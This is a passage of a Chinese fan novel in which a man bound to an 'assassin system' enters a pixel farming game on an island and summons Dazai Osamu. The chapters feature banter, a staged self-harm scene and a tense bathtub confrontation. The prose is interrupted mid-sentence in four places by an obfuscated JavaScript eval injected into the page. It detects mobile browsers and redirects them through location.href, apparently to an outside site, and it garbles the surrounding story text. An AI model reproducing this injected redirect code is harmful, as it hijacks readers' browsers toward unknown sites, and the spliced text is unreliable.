[让他们来了,也别轻易放掉他们,你可以尝试吓吓他们。比如让他们忽然和外界断联几天,比如在他们时睡觉放鬼片。] 【好,我会执行您的安排。】 夏无忧的心情转好,他回到了岛屿上自己的领地,领地里小木屋的标志特别显眼,他玩似的碰了下。 然后被股吸力拽了下去。 他的视角从俯视切换到平视。 夏无忧睁开眼,看到了用圆木拼接的木屋顶,和他入睡前看到的一样,区别是,圆木变成了像素木头。 他试着动了动,从床上坐起来观察房间,不但是屋顶,木屋里的所有东西都变成了像素物品。 而他视线里的一排任务图标还在。 夏无忧低头,映入眼的——是短短的小圆手,明显不属于人。 他需要搞懂自己成了什么样子,于是从床上跳了下去,自动穿上了初始服装,往浴室的方向跑过去。 行走时,他还能听到啪嗒啪嗒的音效。 这很游戏。 他推开浴室,在镜子看到了现在的自己。 一个和他神似的像素小人,黑头发,浅碧色眼睛,身上的装扮十分朴素,短袖,冲锋裤,高筒靴,农夫帽。 搭配起来上能冒雨耕地,下能在下水摸鱼。 夏无忧绕着镜子左转转,右转转,再原地转了一圈,勉强接受了这个打扮。 他点开自己的背包,背包的格子没有限制,已有物品为: [斧头、镐子、铲子、锄头、锤子、钓鱼竿、浇水壶] 他心意一动,一把锄头出现在手里,他拿起来挥舞了几下,一把敲向前方的镜子。 “咔擦”声中,镜面出现裂纹。 夏无忧点点头,用手摸了下镜子,背包里出现[镜子碎片x3]。 可行! 游戏的自由度比他想的高。 碎裂的镜子倒影出了他的像素小人,小人的眼睛里亮起小星星,嘴角扬起了好几个像素点。 夏无忧握着锄头跑了出去,他无视了任务栏里的小红点,从家门口飞奔了出去,向着最近的未开荒区前进。 走到一半系统出现了。 【宿主,您可以查看自己的任务栏,根据任务引导熟悉您的岛屿。】 夏无忧哼了声,“系统,请认清你自己的身份。白天你是我的系统,晚上你是谁,该喊我什么?” 【我是您的管家,我应该喊您为主人吗?】 “不。”夏无忧按了下草帽的帽檐,很是随意的一个动作,他做出来像是舞会上行礼的绅士。 他的眼在帽檐的阴影中发亮,语气上扬,“你可以称呼我为传奇农夫·至尊钓鱼达人·不败海洋霸主·迷雾岛屿之主。” 【好的,岛主。】 “错了,再来。” 【岛主,您要跑到未开荒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698114|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区了,我不建议现在的您去挑战。】 夏无忧一路跑过来,感受到了这个形态和现实里自己的区别,这具身体更轻盈,跑了许久也没有疲惫感。 因此他跑两步会飞起来,啪嗒啪嗒落地,又跑两步飞起来落地。 他脚步不停,来到了一处湖泊。 湖泊边有大片枯败的芦苇,幽静月夜之下,湖面微波荡漾,鱼虾游动,浮上来泛起片片银色的涟漪。 湖泊的对岸雾气袅袅,望过去灰蒙蒙的,给夏无忧一种粘稠的压抑的感觉,仿佛有什么躲在后面。 夏无忧跃跃欲试,尝试游过去。 系统委婉的劝阻传来。 【宿主不想抽卡吗?】 夏无忧顿住,“原来我已经有抽卡的积分了吗?” 【您已经完成了部分指引任务,我帮您领取了奖励,刚好够一抽。】 夏无忧用小短手捧住自己的脸,弯起眼,飘出花花的特效,“这样,如果我抽到了我想要的,我就好好工作,管家会祝福我的吧?” 他没给系统任何反应的时间,点开抽卡的页面。 抽卡页面是一片灰色的星海,10积分可以抽取一次,夏无忧看到自己有10积分,点击召唤按钮。 点击后,界面出现一颗金色的星辰,金色的流光坠入星河,寂寥的星河中浮出了黑红色的血月。 夏无忧注意到什么,抬起头,来不及躲避,被掉下来的东西重重砸到,往后栽倒在地。 他被砸得眼冒金星,还听到了系统的奚落。 【作为杀手,您太不警觉了。】 被质疑实力的夏无忧扑腾起来,想要证明自己的实力,但在看清人后,他的心境一下子归于平静。 夏无忧张开口,想到说话会被听到,改为在脑海里说。 [系统,我知道你会给我提高抽卡概率,和大多游戏的开局必中一样。没想到你这么给力,直接把人送来了。] 夏无忧身上的像素小人回过神,小人没有站起来,而是低下头审视。 像素小人乌色的头发卷曲,半边脸被绷带缠住,鸢色的眼睛——抱歉,像素眼睛实在太小,夏无忧也不确定是不是阴沉沉的。 如果是,大概就是在原有的颜色上暗几个度。 夏无忧想,像素小人身体是有好处的,太宰治从高处摔下砸到他,他们两个人居然都没事。 有这样的体质,以后他可以放心奴役岛民给他种地了! 但以后抽卡要都这样,他这个岛主也太没面子了。 难道这是系统歹毒的计谋,想要逼他提高身手,太隐晦了,太高明了。 趁着太宰小人还在收集信息,夏无忧直接抬起双臂,环住了小人。 他本以为自己会摸到冷硬的像素方块,但是意外的,手上的触感是温软的。 他感到太宰治有点生气了。 太宰治和弹簧一样蹦起来,站得远远的,发现这里是完全陌生的环境后,他不怎么愉快地转过身,用脚尖点了点还躺在地上的夏无忧。 夏无忧闭上眼,双臂放在胸前,标准的入馆姿势。 见到夏无忧这幅摆烂样子,太宰治摸了下自己的口袋,没摸到枪,他啧了声,想通了什么,瞬间换了个态度,慢吞吞蹲下来,用手去戳夏无忧。 “夏君~”他这一声喊的很是活泼俏皮。 “可以和我解释下这是什么情况吗?” 5. 星辰 夏无忧睁开了眼,他的关注点比较独特。 虽然他很高兴太宰治记住了他的名字,但夏君……好别扭的敬称。 他看向太宰治,有气无力道:“叫我岛主,无忧也行。” 小人形态的太宰治笑得特别阳光,声音甜腻,“好哦无忧君,你有什么想和我说的吗?” 夏无忧坐了起来,被太宰治喊得难受。 他知道只要太宰治不愿意,这人是一定不会改口的,没关系,他可以自己适应,等他适应好了,太宰治就没兴趣这样喊了。 他可真体贴啊。 就夏无忧起身的一会功夫,身后传来太宰治惊喜的声音。 “哇,好清透的水!” 旋即是扑通的跳水声。 夏无忧不怎么意外地转过头,见到湖面飞溅的水花,他拍了下自己被水溅湿的衣服,摇晃着走到湖岸边。 他踩在泥泞的土上,双手别在身后张望,寻到了湖面咕噜噜的泡泡,等待的时间里,无聊的他点开了自己的任务栏。 【引导任务】: [1、登录岛屿,找到您的住所 奖励:10积分(已发放)] [2、清理出空地,耕出片可种植地奖励:随机种子x12、1积分] [3、播种种子,收获您的第一份成果 奖励:建筑材料包、2积分] [4、召唤您的第一位岛民奖励:1积分(已完成)] [5、为您的岛民建造一间住所 奖励:配套家具、配套衣服、专属武器、4积分] [6、带着您的岛民击杀一只怪物奖励:能量石、4积分] [7、烹饪出第一道菜 奖励:一箱汽水、1积分] [8、制作鱼饵,钓上第一条鱼 奖励:2积分] …… 林林总总一大堆,奖励有物品和积分,任务的难度不高,是完全的引导性任务。 第一个任务算是送的启动积分,系统帮他领了。 夏无忧从上拉到低,对这个游戏的内容有了初步的了解。 他切换了页面,找到限时任务。 【每日任务】:完成一组身体锻炼 奖励:蛋糕x1、1积分 【每周任务】:区域领地探索度20% 奖励:果树x8、10积分 【阶段任务】:在暗网注册ID,接取您的第一份任务奖励:杀手装扮(专属)、20积分 夏无忧的目光停留在每周任务上,这个任务和岛屿建设有关联。 他不觉得系统会做无意义的事,系统将他的种田小游戏加在限时任务里,说明系统看重这个游戏。 可这就产生了矛盾。 人的时间和精力都是固定的,锻炼和游戏是冲突的,如果系统只想让他成为杀手,没必要这样给他设计一个游戏。 所以它在藏什么吗? 夏无忧想到岛上的人类痕迹,消失的岛民,心里有了模糊的想法,他不喜欢做无意义的猜测,于是直接问系统。 [管家管家,你真的只想让我成为最强杀手吗?] 【岛主,您或许对最强两个字有什么误解。】 系统的回答与以往不同,虽然声音上的差异不大,但夏无忧感知到了它难得的认真。 【最强意味着,您将可以蔑视世界上的一切规则;杀手意味着,您是最自由无拘无束的存在。您可以成为令所有人恐惧的噩梦,毁掉世界也无所谓,道义约束不了您。】 【当然,您也可以成为世界的救世主,生命脆弱又珍贵,不够强大的人背负不了。】 这番话还是夏无忧第一次听说。 他觉得是诡辩,超越所有人的强大本身就是一种对秩序的破坏,拥有力量的人,可以将世界扭曲为心仪的样子。 可人就是人,毁灭永远比守护简单。 不过系统的部分话说到了他心上,他喜欢当最强的,或是成为所有人的噩梦,或是成为世界的救世主。 夏无忧提炼了一下系统的话,笑眯眯道。 [没有否认自己别有目的呢,不对,在你的逻辑里,你的一切行为都是为了辅助我,所以玩游戏能变强?] 系统没否认。 夏无忧给系统比了个拇指。 [我喜欢你这样说话好听,为宿主着想的系统。] 【再次荣幸得到您的谅解,虽然绑定错误,但我会是比[恋爱攻略系统]更适合您的存在。】 夏无忧立刻变脸:[这另说。] 忽然,他听到了“哗啦哗啦”的水流声,扭过头,见到一个顶着水草的小人从湖面浮了起来,两只小短手撑在泥泞的岸边。 太宰小人仰起头,绷带在滴水,他幽幽的目光落在夏无忧身上,眼神带着探究和疑惑。 夏无忧蹲下来,朝着太宰治伸出手,月光下的声音无比温和。 “水里冷,我拉你上来吧。” 在太宰小人要拍开他的手前,他换了幅戏谑的面孔,含笑道:“其实我早就想说了,在我这你死不掉。” 太宰治愣住。 夏无忧拽住太宰治伸到一半的手,拔萝卜一样把人从水里拖上来,还不忘火上浇油,“你是在尝试用死亡脱离这里吗,宝宝?” 他重重一巴掌拍在太宰治后背,拍得人吐出口湖水。 太宰治咳了半天,但比起这个,更令他难受的是夏无忧的称呼,他露出想吐的表情,抬手掐住了夏无忧的脸,阴森森道。 “真想把无忧君的嘴撕烂啊。” 夏无忧任由太宰治掐,他联系系统给他截图,不走心地敷衍道:“嗯嗯,好的宝宝,没问题的宝宝。” 太宰治确定夏无忧在报复,夏无忧不喜欢他的称呼,因此回了个更恶心的称呼。 他本来不想服输,又觉得和条章鱼杠上很蠢。 太宰治侧过脸,森林横斜的阴影遮住他的眼,为他的声音染上湖水的寒意,“你想做什么?” 夏无忧掸去太宰治头上的水草,拉住太宰治各一边的手腕,身体稍稍前倾。 “自己去找答案怎么样,治?” 不等太宰治回答,他先放开了人,向自己的小屋走去,反正太宰治一定会跟上来的。 太宰治站在原地,他分不清夏无忧的哪个称呼更令他难受,这人太会得寸进尺,脸皮也厚,装傻的一把好手。 进入到像素世界后,他本以为自己中了什么异能,而他的异能力是「人间失格」,可以让接触到的异能力无效化。 可他触碰到了夏无忧,这里却没有消失。 为什么?因为夏无忧不是异能力的发动者,还是说这里不是纯粹异能构造的地方? 太宰治反复观察像素世界,低头看自己的手,再去看同样是像素小人的夏无忧背影。 是怎么做到的?一点好奇浮上心头。 他想知道,因此跟上了夏无忧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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建筑里大片东西都是灰色的,在里面可以建筑岛民的房屋、生产厂、材料加工厂,还有更高等级解锁的岛屿景观建设、游乐设备、战斗图腾。 他仅解锁的建筑是:小木屋、粮仓。 小木屋需要材料:圆木x30、石头x10。 粮仓需要材料:圆木x20、干草x20、石头x20。 夏无忧想起来了,任务五给岛民建家,奖励是配套家具和物品,但他虽然召唤出了太宰治,但没有建造的材料。 夏无忧关闭了建筑,打开了商城。商城的所有东西都是用积分兑换的,他目前只能购买日常物品,更多东西都是灰色的。 值得一提的是,商城的图标处有个不要积分的金色星星。 [物品名称:星辰馈礼 介绍:一份小礼物,您问礼物是否被暗中标注了价格?群星在歌颂,希望代表您,世界属于您。 价格:0 可购买次数:1/1(每天刷新次数)] 因为耽误了些的时间,房间的太宰治已经开始到处摸索,夏无忧看到他脏兮兮的手,疾步过去,一手强势地抓住太宰治的手,另一只手点击了购买。 让他去凑材料是不可能的,好在他刚刚看到商城有卖衣服,领取完小礼物他就去购买。 被夏无忧抓住的太宰治完全没有自主性,他和发现新玩具的黑猫一样,什么都想碰一碰。 眼看要按不住人了,夏无忧匆匆看了眼自己背包多出来的东西。 看清后他一愣,手也松开了。 6. 血花 拉扯中夏无忧先松开手,太宰治因惯性往边倒了下,好在他身手不错,稳住身体后扭头,看向沉思的夏无忧,在人眼前挥了挥手。 “夏君,无忧君,无忧?” 夏无忧一把握住太宰治的手,眼睛再次亮起金色灿烂的小星星。 “好运之神眷顾我了!” [背包新增:全套换洗衣物x2、蟹肉寿司x1、蟹锅x1、锡兰红茶x2、绣球花束x1] 虽然不是什么很珍贵的东西,但解了他燃眉之急。 这小礼物哪是什么[星辰馈礼],是[心想事成]吧! 太体贴了! 还省了给太宰治买衣服的积分! 夏无忧好心情地哼起歌,他一把抓住太宰治,拽着人往浴室拖。 “好了,治,你该洗澡了,一直这样着凉了可怎么办?我给你准备了换洗衣服。” 太宰治垮下脸,直白指出:“你只是觉得我的手脏。” 夏无忧的语气十分真诚。 “怎么会,我要是嫌脏,怎么会上手拉你呢。” 太宰治扒住门,卡在浴室门口处,语气依然犀利,“你是不怕脏,但你怕自己的的东西被弄脏。” 夏无忧拽了好几下,手里的太宰小人和果冻似的,被拉起,又弹回去,被拽了下,又回复原状。 他使出下一招。 “新鲜蟹肉寿司,吃不吃?” 太宰小人瞪大眼,想问是不是太小看他了。 但他看到夏无忧眼神游离了一下,嘀咕着,“不知道味道怎么样,分量也就够我一个人吃,到底要不要给呢?” 发现对方是认真的,他神色一变,手指在夏无忧额头狠狠一点。 “说好给我的!” 夏无忧看了回去,推搡起太宰治的肩膀,“行行行,分你一半,你快去洗澡。” 他把换洗衣服从背包里拿出来,递到太宰治怀里,换洗衣服是全套的,有齐全的浴巾浴衣、拖鞋、常服。 因为是叠起来的,夏无忧也不清楚是什么款式。 拿到衣服的太宰治脸色古怪了一瞬,往夏无忧脸上瞥去,“这些衣服不会……” 夏无忧后退几步,把门带上,留下一句,“衣服和你绑定了,会自动调整适合的尺寸。” 确定没事了,他深深呼出口气,在森林探索半天也没按住太宰治累。 夏无忧走到餐桌边,五指张开按在桌布上,暖色的桌布在他手下换了个清新的色彩。 木屋的许多家具自带不同的皮肤,他没有大动,只是换了桌布和花瓶,再从背包取出了绣球花束,将花束别在透明的花瓶里。 灯光在花瓣上流转,娇艳的色泽给房间带来份生机。 他拉开椅子,取出了两份锡兰红茶和蟹肉寿司,坐下来边喝茶,边研究游戏的不同功能。 在漫长的等待中,房间静谧无声。 夏无忧的目光穿过升腾的雾气,透过窗见到夜晚的星辰,海风摇晃树叶,森林里传来小动物窸窸窣窣的声音。 钟摆的指针规律地转动。 他端起杯子喝了口茶,没等他品出茶的余韵,浴室倏然传来“砰”的一声巨响。 这个动静——太宰治在拆家吗? 夏无忧将手指放在太阳穴揉了揉,头疼地站起,走向浴室,在门口规律地叩击三下。 “治,回下我。” 他在心里数了十个秒数,数完也没得到回应,他将手按到门柄上,门柄动了,传出细微的转动声。 门根本没被锁住。 夏无忧干脆地推开门。 推开门前他想,无论太宰治是在里面埋伏他,或是在里面研究能否淹死自己,他都不会惊讶的。 推开门后,湿润的水汽扑面而来。 夏无忧迎面对上被打碎的镜子,镜面倒映出道朦胧的黑影,锋利的的边缘有血液蜿蜒而下,暗红的血液滴落在瓷砖上,氤氲出点点绯色。 他踏过浮花似的血,走到浴缸边,自上而下俯视。 浴缸蓄满了水,水中的人头朝下,乌发同水母的触手般浮动。 夏无忧嗅了下浴室里的味道,抱臂看向浴缸里的太宰治,“行了,别装了,就这点出血量,你能有什么事。” 他听到了一声沉闷的笑声。 一只手攀在浴缸的边缘。 浴缸的表面光洁平滑,从水中伸出的手没抓好,往下滑了些,手的主人索性把两只手臂都伸出来,人趴在浴缸的边缘上。 浴室里的人抬起头,连成串的水珠从发梢坠下,他穿着深色的浴袍,领口大敞,上身缠满了绷带。 太宰治的嘴边勾起灿烂的笑,鸢色的眼凝视着夏无忧,语速比平时缓慢。 “是吗,没骗过你。” 他抬手招了下,示意夏无忧靠近些。 夏无忧不怎么在意地上前,伸出手,五指插入太宰治的手指缝隙,明明是像素人的身体,但触到的是柔韧的皮肤。 并且因为沾了水,对方的掌心湿漉漉的。 太宰治没挣扎,他看起来被热蒸汽闷的有点昏沉,声音微哑。 “你喜欢我。” 他用的是肯定句。 夏无忧坐到太宰治边上,漫不经心按揉对方的指节,“是。” 太宰治别过头,喉间泄出道嘲弄的气音,“骗子。” 他用了力,将被扣住的手按在夏无忧的心口,眼神冷郁,“从你到浴室看到血迹算起,你的心跳就没有变过。” 夏无忧啊了声,目光瞄向镜子处的血迹,再落到太宰治的手臂上,这处的绷带渗出了血,被扯得凌乱。 所以太宰治为了试探他的真实想法,刻意伪造了惨烈的现场,为此还让自己的伤口二度崩裂。 他夸赞道:“你其实已经骗过我了,我居然没发现你受了伤。” 太宰治用膝盖抵住浴缸底座,以此为支点直起腰,手在夏无忧的衣服上扯出褶皱,头发滴水的速度渐慢。 他的眼在潮湿碎发下涌出了恶意。 “这也有无忧的一部分功劳。你跑掉了,但我还要处理不服森先生的先代党,超级——麻烦的。” 夏无忧就当没听到,他点开引导任务,领取了召唤岛民的2积分,用积分在商城换了外敷药。 这点积分还是没省下来。 他抽出自己的手,要去扒太宰治的绷带。 太宰治往后退了些,“难道是愧疚到恼羞成怒了?这可不行,我对抱男人不感兴趣。” 夏无忧也笑了起来,他的笑总是柔和的。 他虚虚掐住太宰治的下颚,柔软的指腹按在对方的咽喉骨上,给了句简短的点评。 “小屁孩。” 太宰治的表情像是被水冲洗干净,留下苍白的空洞。 夏无忧弯下腰,捞起太宰治的手臂,手指挑开绷带,太宰治目光放空,静静注视着他。 部分绷带掉到了水里,夏无忧用手在水里试了下温度,温度有点凉了,他扭了几个水阀,让热水的流速和排水速度达到动态平衡。 太宰治皱起眉,抽了下自己的手臂。 发现一时半会抽不出来后,他鼓起脸,“你真的很奇怪。” 夏无忧将药膏挤在手指上,在太宰治撕裂开的伤口处涂抹,他稍低着头,这个角度他脸上的笑很淡,仿佛要消隐于空中的雾。 太宰治像是发现了什么新奇的东西,他抬起手,手背擦过夏无忧的下巴,拇指和食指按住人的唇角,往两边抻平。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698116|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他定定看了会,嘲笑地说。 “章鱼就是章鱼,干什么把自己烤成弹弹的章鱼小丸子。” 夏无忧加快手上动作,价值2积分的药膏果然不同凡响,涂上去伤口就在愈合。 他拍开太宰治的手,把剩下的药膏放在口袋里,无辜地问。 “怎么说起了食物,治是饿了吗?” 他站起身,指了下放衣物的架子,“澡也洗了,伤口也好了,得快些出来吃饭。” 太宰治看了眼自己的手臂处的伤口,眉梢上扬,“这种程度的伤能愈合,那再严重的呢?” 他的目光移到夏无忧的口袋上,有点跃跃欲试。 夏无忧表情不变,慢悠悠拿出药膏,在太宰治的注视中走近。 然后他不急不缓地把药膏全挤到了浴缸水里,笑着松开手,空掉的药膏咕咚掉在水里,冒出小小的水花。 他喟叹道。 “我也想知道。” 药膏融化于水,苦涩的药味在水雾中弥漫。 太宰治的手颤了下,肩膀绷起,他身上有不少伤疤,大多不是在任务中留下的,是他自己搞的。水中的药修复着这些成旧的伤,愈合的过程中这些地方发烫发痒,是比疼痛还难忍受的折磨。 他攥紧着浴缸的边缘,手背用力到鼓出青筋。 昏沉中他看向伫立的夏无忧,夏无忧也在看他。 夏无忧的眼眸藏在水雾背后,似是悲悯,更似无情的旁观。 恶欲在太宰治的胸腔膨胀,如云絮般挤占了肺腑中的空气,从气管一路来到大脑。 那些属于人性的,令他畏惧的负面情绪有了发泄口,愤怒、不甘、厌恶、破坏欲,它们从无形到有形,凝变为夏无忧的身影。 激烈的情绪让身体爆发出股力量,太宰治在浴缸中拉住夏无忧的手,将人拉入浴缸中。 没有防备的夏无忧被拽入水,小腿在浴缸边缘磕了下,拖鞋掉落。 温水在缸中激烈晃动,溢出到缸外,无形的水脱离了有形的容器,落在瓷砖上,冲淡了地上的血迹。 浴缸中的两人如同被困的金鱼,搁浅在空气与水的交界处。 慌忙中胡乱夏无忧抓住了什么,他还没借此稳住自己,就听到了太宰治的嘶气声。 夏无忧反应过来,摸索到边上的水阀。 他忍着痛,膝盖抵在太宰治腰腹上,水没过他的大腿根,潮湿的衣服黏在皮肤上,变得又沉又闷。 滴答、滴答—— 水珠在衣角汇聚成滚圆的水珠,一颗颗坠在水面。 夏无忧想从浴缸离开,但太宰治纠缠不休,狭小的空间限制了他的动作,他有所顾虑,只得被太宰治扣住肩,后背撞到了浴缸底座。 夏无忧疼得眯起眼,目光寻找着什么,如果他没记错…… 他的咽喉处传来细微的刺疼。 夏无忧看过去,见到了太宰治握住的玻璃碎片,尖锐的那头对着自己。 太宰治笑着问,“你是在找这个吗?原来你注意到了。” 废话。 浴室镜子就是夏无忧自己敲的,他能不知道玻璃缺了一块吗? 太宰治利用了视觉的欺骗性,在镜面洒上血,鲜明的血迹往往会吸走人的关注力,让人忽视镜子缺失的地方。 但那骗不过夏无忧。 毕竟进来前他就在想,无论太宰治是准备谋杀他,还是自杀,他都不会惊讶。 因为这就是太宰治会做的事。 夏无忧的平静让太宰治觉得碍眼,他想要的答案一个都没有得到。 焦躁爬上神经的末梢,太宰治的脸色越发难看,万般情绪在脑海里回荡,化为了一句话。 他问。 “凭什么?” 7. 故事 夏无忧背靠着浴缸,温热的水淹没在肩膀处,他用抓过玻璃尖锐的一端,手被割破。 他感觉不到疼痛一样,面色如常地加大力气,将玻璃从太宰治手里抽离,目光与之交缠。 他们彼此都不愿退步,因此小小的一块玻璃将他们割伤。 两人的血液交融,滴落而下。 清透的水里开出赤红的山茶花,绽放时如雾,如柔波,如轻薄的纱,如纠缠不休的缘。 夏无忧用上另一只手,挨个掰开太宰治的手指,他成功拿到了玻璃,往边上一抛,玻璃折射出璀璨的光,甩到地上,与瓷砖磕出呲啦的摩擦声。 他仰躺在缸中,用流血的手捧住太宰治的脸,重复对方刚刚的话。 “凭什么?” 他发自内心地笑起来,身体抖动起伏,胸腔连带着震动,笑够了,他收回手,手垂在水中,药水修复起伤口。 可哪怕伤口可以愈合,疼痛却无法遗忘。 好的记忆,坏的记忆,不同的记忆烙印在灵魂上,组成了彷徨游荡在世间的人。 夏无忧将太宰治同样受伤的手按在水里,仰起头,目光热烈而直白,虚伪而甜蜜。 “当你问出这样的话的时候,太宰治,你在诘问。” 他抬起手,将太宰治垂落的湿发别在耳后。 “会这样问的人是小孩子。” 温热的水拥抱着他们,热气从皮肤渗入,连体内的血也要变得滚烫。 夏无忧一点点擦去太宰治脸上他自己的血,说起了一则故事。 “人从羊水里诞生,是被蜘蛛丝包裹的怪物。刚出生的婴儿皮肤柔软,会被蜘蛛丝划伤,他们必须要忍痛扯断丝线,才能蹒跚着行走。” 浴室中的热气搅得人大脑昏沉,太宰治看到晃动的水面,好像他也成了羊水里出生的怪物。 有一瞬间,他怀疑起了自己。 他说夏无忧是虚伪的、没有心的、否定生命的怪物,说怪物凌驾于众生,否定了自己对生与死的诠释。 现在他看不懂夏无忧了。 温柔是真,虚伪是真,爱意是真,卑劣是真,正是因为这般复杂,所以才是太宰治认知中的人。 可若他的认知是错的,若他不依赖自己的认知而活,他只会成为被打碎蛋壳的稚鸟,被人看到丑陋的肉粉的皮肉。 太宰治厌恶到难以呼吸,苦恼到想要蜷缩起来,但夏无忧拉着他,潮湿的手臂环在他的后颈,给了他一个黏着的拥抱。 夏无忧附在他耳边低语。 “但当人走出蛛丝,他们会发现外面还有更多更多的灾难,酸雨、烈日、冰雹、沙尘暴,活时无时不痛苦,死亡是什么,他们不知道。” “可他们相信,总有一场金色的甘露会降临,世界是谎言,他们要夺回自己的世界。” 说完,夏无忧就推开了太宰治。 他从浴缸里走出去,去找掉在地上的拖鞋,找是找到了,拖鞋却湿得不能再穿。 更坏的消息,他全身在滴水。 夏无忧庆幸起自己的背包里还有一套[全套换洗衣物]。 他幽怨地回头瞪了眼太宰治,穿起湿拖鞋走出浴室。 路过地上的玻璃时,他不确定地想,太宰治闹腾了这么久,应该能安分会了吧? 夏无忧将沾血的玻璃的收到背后里。 背包有整理功能,玻璃和上面的血被分到不同的格子里。 [玻璃碎片x1、一份太宰治的血、一份岛屿之主的血] 从背包中看,凝固的血似红玛瑙,内里点缀着抹暗色。 夏无忧的心情好上一点,在他要走出浴室时,身后响起太宰治没什么感情的疑问。 “那如果他们等不到甘露呢?” 夏无忧把问题丢了回去,“谁知道呢。” 太宰治好像被闷热的雾气抽离了力气,声音趋近于无。 “世界是谎言,存在世界的人是虚假的吗?世界是谎言,活着的人为什么还要夺回世界呢?” 因为他不期待答案,所以他的语气很是淡漠,如同在自言自语。 夏无忧推开门,门外清新的空气涌了进来,他的声音与房间里淡淡的花香混在一起,让人错觉温柔。 “自己去找答案怎么样,治?” 他关上门,门隔绝开他与太宰治,系统不知旁观了多久,到现在才出声。 【您不该伤害自己。】 夏无忧调侃道:[管家你也会关心人了?] 【我在向您学习,您给太宰治先生讲了一个温暖的故事。】 夏无忧被逗笑,他挑了下沾在皮肤上的衣领,用毛巾擦拭起脸,毛巾上有他很喜欢的太阳和熏木味道,暖烘烘的。 他换了个毛巾,边擦拭起身体,边和系统说话。 [别乱学,我在恐吓他。] 【恐吓?】 夏无忧:[我在恐吓他——别死,很疼。] 【我不理解。】 夏无忧用毛巾擦过脖子,干燥的布吸走了水珠,风再吹过来,身上清爽了许多。 他点开了木屋的设计界面,上面功能有:装扮、温度调节、一键清理。 这木屋很神奇,它追求视觉的美观复古,也追求便捷性,为了空间上的留白,它配置了不少实用的功能。 [温度调节]让房屋冬暖夏凉,[一键清理]让房屋纤尘不染。 做饭有烹饪技能,娱乐有空中投屏。 整体上讲,这是再宜居不过的家。 夏无忧把房间温度调高了几度,走向沙发,继续懒洋洋道。 [不理解才对,故事不用讲得明白,加点难以理解的命题,抛出个莫名其妙的结局,太宰治就会自己跳进去。] 【听起来是陷阱。】 夏无忧:[你话有点多了!] 系统彬彬有礼地换了个话题。 【事实上,我对您的故事很感兴趣,作为听客,您可以向我提出一个问题。】 系统本以为夏无忧会问任务和世界相关的话题,但夏无忧感兴趣的点总是很独特。 [管家,你为什么是最强杀手系统?] 为什么不是别的职业,为什么不为了别的东西,比如毁灭和情感。 系统给出了解释。 【因为我很喜欢生命,所以我想用死亡定格它。】 夏无忧解下头发上的发带,很是珍惜地放在盒子里,他把毛巾挂在头上,往后一仰。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698117|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陷在沙发里,软成一滩液体。 头上的毛巾往下滑,盖住了他的眼,他的语调不怎么走心。 [用死亡定格喜欢的东西,听起来和人类制作蝴蝶标本一样,饲养它,杀死它,钉住它的翅膀,再关在相框中展示。] 【很浪漫的比喻。】 [浪漫吗,人口口声声赞颂死亡的浪漫,但若是他们真见到了死亡,只会变成丑陋的毛毛虫。] 【那您喜欢的那位太宰治先生呢,他是毛毛虫,还是您喜爱的蝴蝶?】 夏无忧掀开了点毛巾,他浅色的眼眸雾蒙蒙的,在光芒里明亮,在黑暗中幽静。 [都不是。] 系统指出夏无忧语言中的漏洞。 【人与人没有区别,因为您偏爱他,所以他是独一无二的。】 [是。] 夏无忧才说完,就听到了浴室门被打开的声音,太宰治从里面走了出来。 走出门的太宰治头发还滴着水,套着毛茸茸的睡衣,他捂着嘴打起哈欠,看到沙发有点意动。 他还没躺上去,被夏无忧揪住了。 夏无忧笑吟吟宣布,“你不能睡,治,你要等我洗完澡,吃饭,再和我出去种地。” 他不能睡,太宰治还能睡?! 世上哪有这样的好事。 夏无忧拉住转身的太宰治,戳破了太宰治的意图,“也别想撞晕自己,更别想睡在浴室里。” 他扫了眼太宰治身上的绷带,绷带的吸水性强,要晾干得等半天。 他实在看不下去了,从背包里拿出个新毛巾,递过去,指给太宰治壁炉附近的沙发。 “坐那去擦头。” 太宰治的精神比刚才好上些,他伸出手,没去接毛巾,而展开来。 “你答应我的。” 夏无忧抬高手,把毛巾挂在太宰治头上,义正辞严道:“现在不给,寿司我还没吃,给了你,你一口气把它全吃了怎么办?” 太宰治退开一步,甩了下头,毛巾从他头上掉到肩上,“怎么会,还有,我为什么要听你的?” 恢复了活力的他表情恶劣,挑衅般说。 “我们是敌对关系吧。” “或许?”夏无忧点头,又把太宰治的肩上的毛巾盖到他头上,“主要是你敌视我。” 太宰治:“你还绑架了我。” 夏无忧:“对,所以我也没拦着你跑。” 